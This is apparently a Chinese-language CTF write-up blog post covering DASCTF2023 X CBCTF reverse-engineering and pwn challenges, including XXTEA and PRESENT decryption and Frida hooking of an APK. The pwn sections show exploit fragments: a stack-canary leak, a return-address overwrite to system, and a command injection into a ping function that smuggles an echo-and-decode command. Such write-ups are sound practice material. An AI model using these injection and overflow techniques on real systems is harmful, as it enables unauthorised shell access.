(真的好久没写WP了.jpg)
DASCTF2023 X CBCTF
auuuu3
0x00 Daily Shell Check
无壳32位,但autoit
0x01 ReComplie
找工具.jpg,最后尝试几种了几种发现52上的一个最好用
稍微浏览不难发现加密函数
加密函数在这,把这些弄到ida里,反编译会发现是个XXTEA
0x02 Get Flag
没魔改,直接解密即可
1 | import binascii |
marshal
0x00 Daily Shell Check
py源码文件
0x01 ReComplie
一共七层慢慢反编译就可以得到所有汇编
1 | import marshal |
继续
1 | import marshal, dis |
懒了,基本都是gpt帮我翻译的汇编,然而根本是识别成依托,我以为是作者写的加密,但没想到是标准加密,Present,学习了,其实这么多常量和密钥的生成名字,已经很好找到到底是什么加密了
0x02 Get Flag
网上找到一共古老的脚本
1 | import binascii |
输入比较鸡肋,必须得是这种格式(懒得改上述脚本)
1 | from pypresent import Present |
Get Flag
GuestBook
0x00 Daily Shell Check
无壳64位
好像PWN应该这样查壳才对,开了个Canary
1 | Ξ ~ git:(master) ▶ checksec GuestBook |
0x01 Find Hole
审计可发现,泄露canary和栈溢出都有,同时题目也有 system(‘/bin/sh’) 函数
1 | unsigned __int64 vuln() |
Canary
对应的漏洞点是
1 | char buf[24]; // [rsp+80h] [rbp-20h] BYREF |
回忆下有canary栈的结构,可以得知只要我们输入24个字符再加上一个字符覆盖掉canary最后的00即可泄露canary
对应payload
1 | sdla("name: ", b'Z' * 24) # 注意还有个 \n 因为是sendlineafter |
成功泄露
StackOverflow
随后程序给了四次栈溢出写入的机会(本来还在找这个num是不是整数溢出,然而这种没有强制转换成int就不要找了)
1 | __isoc99_scanf("%d", &num); |
那我们要的数据就是返回地址和canary由于要注意canary结尾是00,所以要分两次写入,第一次写入返回地址和没有00的canary,第二次把00补上
1 | payload = b'Z' * (128 + 24) + p64(canary + 0x1) + b'Z' * 8 + p64(system) |
0x02 Get Flag
完整EXP
1 | from pwn import * |
ESAYBOX
0x00 Daily Shell Check
开了NX和CANARY
1 | pz@pz-virtual-machine:PWN/CB ‹master*›$ checksec pwn |
0x01 Find Hole
这题有system函数,也有sh,无疑找到一处栈溢出直接就可以get shell,同时要想办法泄露canary
canary好泄露的一处提示点,存在了这里
那么溢出点一共有两处,第一处在 main 函数,但是canary结尾的00得写入两次,而主函数第一次要是输入的不是指定的命令就退出了,所以就是第二处溢出点,可以实现读入溢出
于是思路就是先泄露canary,再把payload写入某个文件,让这边读入进去实现栈溢出
Leak Canary
执行到cat命令,再把canary直接打印出来
1 | # leak canary |
Stack Overflow
这里用到linux小知识
1 | # stack overflow |
首先在ping命令会读入我们的输入,然年后ping,还有检查命令什么的,所以先base64了我们的payload
1 | unsigned __int64 pingCommand() |
再用分号结束原本语句,base64解码到文件中,实际系统执行了这样的语句
1 | ping -c 4 ;echo "WlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaAISAoA2jqGUAAAAAAAAAAOMcQAAAAAAAkCBAAAAAAAAaEEAAAAAAADASQAAAAAAA" | base64 -d > /tmp/result.txt |
0x02 Get Flag
最后再回到CAT命令,让系统读入该payload,直接get shell
EXP
1 | from pwn import * |
vm_flutter
0x00 Daily Shell Check
无壳apk逆向
0x01 VM
flutter只是纸老虎,实际加密都在java层,然而我看到flutter题目都没打开,乐,看到wp作者说只有opcode在dart层,但其实无关紧要,只要hook出VM所有操作,就能理解加密了,而且只是稍加分析会发现这是个基于栈的虚拟机,都是调用这两个函数
在这也能发现所有的字节码都给了字符串提示,只需要找到相应被混淆的函数名改成这里的操作即可
于是hook所有VM的step
1 | bActivity.a.implementation = function() { |
即可打印出所有操作,可以发现加密也十分简单,所有加密都是先加然后异或
这题就这样结束了…真的算不上难题,应该算中等偏简单了,然而我后续我想打印check函数,这个bVar里的f741b
遇到了几个坑
- 首先是这个字段原本是叫 b,但是包名被混淆成 b 所以这里改名成 f741b (全程 flied 741 b)
- 然后hook到S是直接使用实例的对象也就是直接可以打印 b 字段
但是一直打印出,纳闷了,怎么变函数了??
- 噢原来还有个函数叫 b,我测
- 于是在这里获取对象的 b 前加 _ 即可获取因为重名的字段
(简单的一个下划线折腾几小时.jpg)
完整脚本
1 | function main() { |
0x02 Get Flag
作者写的好用的正则表达(改天一定好好学学正则)
1 | import re |
Get Flag!
About this Post
This post is written by P.Z, licensed under CC BY-NC 4.0.